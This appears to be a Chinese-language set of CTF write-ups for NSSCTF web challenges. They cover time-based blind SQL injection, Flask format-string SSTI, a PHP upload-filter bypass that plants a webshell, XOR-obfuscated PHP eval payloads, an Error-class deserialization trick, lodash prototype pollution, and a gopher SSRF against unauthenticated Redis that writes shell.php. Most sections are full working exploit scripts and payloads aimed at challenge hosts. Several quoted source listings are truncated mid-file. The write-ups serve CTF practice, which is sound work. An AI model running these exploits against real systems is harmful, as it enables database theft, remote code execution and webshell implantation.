考点:时间盲注
打开题目,在源码出得到hint
注入点很明显是参数username,然后将上传的数据先逆序再base64解码;过滤了关键字,但是我们可以大小写绕过
脚本如下(列名有点多可以爆出三列就暂停去爆数据,flag在列password)
import requests
import datetime
import string
import base64
url="http://node5.anna.nssctf.cn:28339/"
s=string.ascii_letters+string.digits
DB_name=''
TB_name=''
CL_name=''
flag=''
#爆库名
print("开始爆破库名")
for i in range(1,50):
low = 32
high = 130
mid = (high + low) // 2
while (low < high):
payload = f"1'/**/or/**/if((ascii(substr((DATABASE()),{i},1)))>{mid},sleep(2),1)#".format(i=i, mid=mid)
payload1 = base64.b64encode(payload[::-1].encode('utf-8'))
data={
"username":payload1,
"passwd":1
}
time1 = datetime.datetime.now()
r = requests.post(url, data)
time2 = datetime.datetime.now()
time = (time2 - time1).seconds
if time > 2:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 130):
break
DB_name += chr(mid)
print('database_name为:{}'.format(DB_name))
#爆表名
print("开始爆破表名")
for i in range(1,50):
low = 32
high = 130
mid = (high + low) // 2
while (low < high):
payload = f"1'/**/or/**/if((ascii(substr((Select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like('users')),{i},1)))>{mid},sleep(2),1)#".format(i=i, mid=mid)
payload1 = base64.b64encode(payload[::-1].encode('utf-8'))
data={
"username":payload1,
"passwd":1
}
time1 = datetime.datetime.now()
r = requests.post(url, data)
time2 = datetime.datetime.now()
time = (time2 - time1).seconds
if time > 2:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 130):
break
TB_name += chr(mid)
print('table_name为:{}'.format(TB_name))
#爆列名
print("开始爆破列名")
for i in range(1,100):
low = 32
high = 130
mid = (high + low) // 2
while (low < high):
payload = f"1'/**/or/**/if((ascii(substr((Select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like('user')),{i},1)))>{mid},sleep(1),1)#".format(i=i, mid=mid)
payload1 = base64.b64encode(payload[::-1].encode('utf-8'))
data={
"username":payload1,
"passwd":1
}
time1 = datetime.datetime.now()
r = requests.post(url, data)
time2 = datetime.datetime.now()
time = (time2 - time1).seconds
if time > 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 130):
break
CL_name += chr(mid)
print('column_name为:{}'.format(CL_name))
#爆数据
print("开始爆破数据")
for i in range(1,100):
low = 32
high = 130
mid = (high + low) // 2
while (low < high):
payload = f"1'/**/or/**/if((ascii(substr((Select/**/group_concat(Password)/**/from/**/users.user),{i},1)))>{mid},sleep(1),1)#".format(i=i, mid=mid)
payload1 = base64.b64encode(payload[::-1].encode('utf-8'))
data={
"username":payload1,
"passwd":1
}
time1 = datetime.datetime.now()
r = requests.post(url, data)
time2 = datetime.datetime.now()
time = (time2 - time1).seconds
if time > 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 130):
break
flag += chr(mid)
print('数据为:{}'.format(flag))
考点:ssti
源码如下
from flask import Flask, render_template, request
from flag import flag, FLAG
import datetime
app = Flask(__name__)
@app.route("/", methods=['GET', 'POST'])
def index():
f = open("app.py", "r")
ctx = f.read()
f.close()
f1ag = request.args.get('f1ag') or ""
exp = request.args.get('exp') or ""
flAg = FLAG(f1ag)
message = "Your flag is {0}" + exp
if exp == "":
return ctx
else:
return message.format(flAg)
if __name__ == "__main__": app.run()
接收参数f1ag和exp,然后参数f1ag值经过FLAG函数处理,定义message字符串拼接,如果exp不为空,调用format方法
这里如果我们给f1ag赋值,那么不会被执行,只会被当字符串拼接进去,所以我们尝试让exp执行命令,由于message前面给了占位符0,那么我们只能让exp也具有该占位符,因此就能在执行return message.format(flAg)
时让f1Ag中的值代入进去,然后找到他的所属类,然后找到FLAG中的全局变量flag。
payload如下
?f1ag=0&exp={0.__class__.__init__.__globals__}
注意必须是0,与前面的占位符一样
考点:
Xy1on: Do you love Tanji!
V me 50 Watch the bath video
Some words of the author: 5Li65LqG6YG/5YWN6KKr5LiA5oqK5qKt77yBCjRTNExWWkYyUTNVWURQN0ZRV0c2UklWTDRTNElCWlVLUkxUS0ZMUFBYU0FRVVJKVUlJNEVFUUtGR1JCRUNPQldJVTRUUU1LQ0laQ1RLT0JWSEJDRUtPQ0JHSkFVRVJKVUlJNERRTUNGR1k0RUNPQ0JJVTNFQ01TQklSQ1VNUVNESEFZVEFRSlRHUTJUR01aVUdSQlRLTlJWSUUyRE1NWlNHVVlUR01aVkdVMlRTTkJVR1VZREdOWlVHWTJUQ05KWEdRM1RHTlJWR0kyRFNOSldHUkJUR05CVkdNWlRJTkJaR1FaREtRSlZHVTJFRU5KU0dSQlRLTkJVSUkyRE1OQ0RHVVlES01CVkhBMlRHTkJSR1VZVEtOSlVJVTJFRU1aU0dRNFRHTkpWR0kyVElOQ0NHVTNUS01aVUhBMkVJTkNFR01aREtOUlZHVTJURU1aVEdRMkRJTlpWR1kyVEVOQlhHVVpUS01aVUlFMlRNTkNER1EzRElOUlZHVTJFSU5DRkdSQkRJUkJVSVkyVE1OS0JHVTJESVFSVkdRMkRJTkNCR1JBVEtNSlRHSTJUT01aV0dNWlRJUVJVSVEyRE9OS0JHUTNUSU5CVUdVMkVLTktCR1UzRElRSlZHSTJUS05KVkdRWlRJUkpVSUUyVEtOQ0JHUkNER01SVkdRMkVNTkNGR01aVEtRSlVIRTJEU01aVEdVMkRJUlJUR1kyRUVOQlRHUTNUR05CVEdNMlRRTkpUR1VZVEtNWlVHUTJFTU5KV0dVWVRLTkpWR01aVEVNWlRHUTNESVJCVkdZMlRDTkpYR1VZVEtOQlRHTTJERU5DREdRM0RLUUpVR00yVE9OS0JHUkJUS05KVUlZMlVDTVpTR1UzRElSUlZHTTJFR05KVUdSQVRHTkpWRzQyVE9OSlRHTVpUSVFSVkdBMkVJTkpXR1VZVEtOWlZHRTJUSU1aVEdSQVRJUlJWSUVaVEVOQlZHTTNESVFSVklFMlRTTkNGR1EzRElNSlZIQTJES01aVEdRMkRJT0pVSU0yRE1OSldHUTNUR01SVEdVMkRHTktCR1JCVElNUlZHNDJUUU5CWkdVM1RJUVJWSEUyRUtOSlNHVTRUSU5SVkdVMlVDTkpVR1JCVElSUlZHWTJES05KVkdRNFRHTVJUR00yVE1OQ0JHUkNUS09KVUc0MlRHTkpYR1JCREtPSlVJRTJVQ05KWEdRMkRJUlJVSVVaVEdOS0JHUTRUSU9KVEdNMlRJTkNHR00zRElRUlVHTTJEU05DRkdNWkRLTlJVSVkyRUdNWlRHVVpESU5SVUlVMkVHTkpWR00zREdOSlVJRTJFR05DRUdVM0RLTVJWRzQyVEdOQ0NHTVpUSU5SVUlRMkVLTkpWR1UyRElNSlVJVTJFR01aU0dSQ0RJUkJWR1kyVE9NWlNHVVpUSU5CVUlJMkVDTVpWR1VZVEtOWlVHNFpURU5DREdRM0RJUVJVSVFaVEdOSlhHUkRES05CVEdJMlRJTkJYR1UzREtOSlZHVVpUTU5KV0dNWkRLTVJVSVkyRENOSldHVVpUS05aVUlZMkRJTkJZR1JCRElOSlRHWTJUSU1aU0dRWlRLT0JVRzQyVE9OSlhHUVpUR05SVUlVMkVLTkNFR1EzREdOQlZHNDJETU5DQ0dRWkRLUUpVR1kyVFNOSlJHUTJES05CVkhFMkRNTkNHR1VZRElOSlZIQTJER05DR0dSRERLTVJVSUUyRUtNWlhHUVpESVFaVkdNMlVDTktCR1JCRElPQlVIRTJUUU1aV0dSQ0RHTlJWR1EyREVNWlVHUkNER05CVkdNWlRJTkpaR1U0REdNUlVJUTJUUU5KWEdVWVRJTlJVSVkyRUdOQlZHTTJESU9KVEdRMlRPTkNCR1U0VEtNUlZJRTJFSU5KVUdVWkRJTUpUSVFaVUlNMkVHTkNER1JCVElRWUVDUkpXSUkyVFFOS0ZHWkJES09CVklVMlRRUUtCR0JDVElRUllIQVlFS05aWUdKQkRTUkpVSUk0RFNRMkZIQkFUS1FTR0dCQVVLTkpaSU5BVFFSSllJSkREU09LRkhFNERPT0NESVUyRUVPSllJSkNUU09KWElJMkFWWlZWUVhUTExCUEZSS1FPSk9FQTQ2QkxUWkZZVFRVS0xQWT0=
提示有level2,然后Xy1on要在0的位置,运用工具(注意后面跟空格)
把读取的文件改为level2
访问,源码如下
';
$real_name = fopen($file_name, "w");
fwrite($real_name, $real_content);
fclose($real_name);
echo "OoO0o0hhh.";
} else {
die("NoO0oO0oO0!");
}
} else {
die("N0o0o0oO0o!");
}
} else {
die("NoOo00O0o0!");
}
} else {
die("Noo0oO0oOo!");
}
} else {
die("NO0o0oO0oO!");
}
} else {
die("No0o0o000O!");
}
} else {
die("NO0o0o0o0o!");
} NO0o0o0o0o!
首先是各自绕过,第一层数组绕过,NSSCTF[]=1&NSSCTF[]=2,第二层是in_array()第三个参数没有直接strict导致可以绕过,NsScTF=1q,第三层是伪协议NsScTf=data://text/plain,Welcome to Round7!!!,第四层nss_ctfer.vip注意变为nss[ctfer.vip(因为PHP匹配的时候会自动将[.变成下划线,有且仅变一次),第五层是intval()绕过,字符串使用科学计数法,会默认是前面的数字,比如’1e1’转化变成1,NSScTf=114514e1,第五层直接nSScTF=1,$nSscTF=NSSRound7。这里的关键是文件上传,通过strops()检测文件的名称是否存在png,直接改增加png即可绕过,关键是会将
这里我们可以测试一下,如果我们的一句话木马直接拼上去,会发现解码为乱码
解决办法是添加字符,使得后面解码完为正确的代码
import requests
from base64 import b64encode
import re
def get_flag(URL):
url = f"{URL}/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1%00&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=true&NSScTf=114514e1&nSScTF=1&nSscTF=NSSRound7"
data = {'submit':1}
payload = str(b64encode(b"")) #修改为自己想要执行的命令
payload = re.findall(r"b'(.*?)'",payload)[0]
file1 = {'file': ('shell.png.php', f"aaa{payload}")}
file2 = {'file': ('%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%63%6F%6E%76%65%72%74%2E%62%61%73%65%36%34%2D%65%6E%63%6F%64%65%2F%72%65%73%6F%75%72%63%65%3D%73%68%65%6C%6C%2E%70%6E%67%2E%70%68%70', f"aaa{payload}")}
requests.post(url,data=data,files=file1)
requests.post(url,files=file2,data=data)
nssctf_text3 = requests.post(f'{URL}/shell.png.php').text
print(nssctf_text3)
if __name__ == "__main__":
get_flag("http://node5.anna.nssctf.cn:28308")
考点:取反方式异或%FF
源码如下
0xd )
die('you are so close, omg');
eval($_);
?>
第一个正则匹配ASCII 字符从空字符到空格之间的任意字符,匹配数字0-9,匹配$、&、.、,、|、{、[、_、d、e、f、g、o、p、s
,匹配ASCII 字符的删除字符,不区分大小写;第二个if语句首先转换成小写,计算使用过的不同字符,得小于13
我们看到没有过滤^
,尝试一下phpinfo
与%ff异或脚本如下
成功执行
我们尝试构造print_r(scandir('.'));
,发现提示过长
本地测试下,长度为16
那么我们要将长度减小到14以下
思路就是将利用重复出现过的来通过异或构造出其中3个字符
我选择pnritd
去构造ntr
,脚本如下
str = "pscadi"
target = "ntr"
for i in target:
for a in str:
for b in str:
for c in str:
if ord(a) ^ ord(b) ^ ord(c) == ord(i):
print("{} = {}^{}^{}".format(i,a,b,c))
运行脚本,每个都取第一个
n = c^d^i
t = s^c^d
r = p^c^a
原payload
?_=(%ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d)((%ff%ff%ff%ff%ff%ff%ff^%8c%9c%9e%91%9b%96%8d)((%ff^%d1)));
将对应的字母用异或表示,若无则%ff
print_r()如下
((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8f%96%9c%8c%a0%8f)^(%ff%9c%ff%9b%9c%ff%9c)^(%ff%9e%ff%96%9b%ff%9e))()
scandir()如下
((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%9c%9b%96%8f)^(%ff%ff%ff%9b%ff%ff%9c)^(%ff%ff%ff%96%ff%ff%9e))()
本地测试下成功
成功读取
那么我们用readfile和end读取
构造readfile(end(scandir('.')));
?_=((%8D%8D%8D%8D%8D%8D%9E%8D)^(%9A%8D%8D%8D%8D%8D%9B%8D)^(%9A%9A%9E%9B%99%96%96%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%8D%9E%8D)^(%8D%99%8D)^(%9A%96%9B)^(%FF%FF%FF))(((%8D%9E%8D%9E%8D%8D%8D)^(%9A%9B%8D%99%8D%8D%9A)^(%9B%99%9E%96%9B%96%9A)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));
考点:原生类反序列化
源码如下
syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
首先进行MD5和sha1的强等于,然后过滤一些关键字包括单引号,括号。如果为真则命令执行
我们用数组即可实现MD5和sha1的绕过,但是eval函数无法接收参数为数组,这里我们利用原生类Error去构造payload,因为Error类可以让这两个对象本身不同,而内部可以将异常或错误对象触发_tostring()
方法,使得绕过MD5和sha1判断;然后就是绕过正则匹配,我们用文件包含include "/flag"
,由于过滤了引号,取反绕过
exp如下
=include ~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($payload,1);$b=new Error($payload,2); //注意同一行
$c=new SYCLOVER();
$c->syc=$a;
$c->lover=$b;
echo urlencode(serialize($c));
?>
考点:Validator原型链污染
打开题目,直接扫目录
访问./run.sh
,可以看到有app.js
我们直接访问,得到源码
(这里为什么可以直接访问./app.js
得到,我的理解是因为中间件为js,由于express-static配置错误,导致可以任意查看静态文件)
const express = require('express')
const express_static = require('express-static')
const fs = require('fs')
const path = require('path')
const app = express()
const port = 9000
app.use(express.json())
app.use(express.urlencoded({
extended: true
}))
let info = []
const {
body,
validationResult
} = require('express-validator')
middlewares = [
body('*').trim(),
body('password').isLength({ min: 6 }),
]
app.use(middlewares)
readFile = function (filename) {
var data = fs.readFileSync(filename)
return data.toString()
}
app.post("/login", (req, res) => {
console.log(req.body)
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
if (req.body.password == "D0g3_Yes!!!"){
console.log(info.system_open)
if (info.system_open == "yes"){
const flag = readFile("/flag")
return res.status(200).send(flag)
}else{
return res.status(400).send("The login is successful, but the system is under test and not open...")
}
}else{
return res.status(400).send("Login Fail, Password Wrong!")
}
})
app.get("/", (req, res) => {
const login_html = readFile(path.join(__dirname, "login.html"))
return res.status(200).send(login_html)
})
app.use(express_static("./"))
app.listen(port, () => {
console.log(`server listening on ${port}`)
})
分析一下,重点看/login
路由,if语句判断密码是否为D0g3_Yes!!!
,然后继续判断info的属性system_open是否为yes,如果为真则读取flag
我们试试直接用正确密码访问,发现并没有什么收获
我们的思路很简单,就是利用原型链污染属性system_open为yes,但是目前并不知道漏洞
我们查看下package.json,发现是validator
validator简介
在Node.js中,"validator"是一个常用的数据验证库,用于验证和处理不同类型的数据。它提供了一组方便的函数和方法,用于验证字符串、数字、日期、URL、电子邮件等常见数据类型的有效性。
express-validator中lodash在版本4.17.17以下存在原型链污染漏洞
payload如下
{
"a": {"__proto__": {"test": "testvalue"}}, "a\"].__proto__[\"test": 222
}
我们的目标是污染system_open为yes,稍微修改下payload
{
"password":"D0g3_Yes!!!",
"a": {"__proto__": {"system_open": "yes"}}, "a\"].__proto__[\"system_open": "yes"
}
postman发送json数据
污染成功后,再次用D0g3_Yes!!!
登录
得到flag
考点:ssrf、gopher协议、redis服务未授权访问漏洞
打开题目,得到hint
传参后发现给了内网ip地址(也就是说本题不是打127.0.0.1)
我们尝试用file协议读取源代码,结果发现被过滤了
用以下两种方式绕过,获取源码
file:/var/www/html/index.php
file: ///var/www/html/index.php //中间有空格
源码如下
过滤了file协议,127.0.0.1等一些关键字,但是我们可以用gopher协议去打
但是我们要知道具体能被利用的ip服务和端口
使用bp去爆破,探测主机的存活
得到ip为172.2.0.147
(为什么不是146可以试试发现不行,然后扫出来其他一些主机存在文件上传和登录框没啥用)
由于我们不知道端口,猜测为redis服务,然后默认端口为6379
利用redis服务未授权访问漏洞在根目录创建shell.php
脚本如下
from urllib.parse import quote
protocol="gopher://"
ip="172.2.0.147" #运行有redis的主机ip
port="6379"
shell="\n\n\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += quote(redis_format(x))
print(payload)
然后再将payload复制到输入框,成功写入后
访问,得到flag
?url=172.2.0.147/shell.php&submit=提交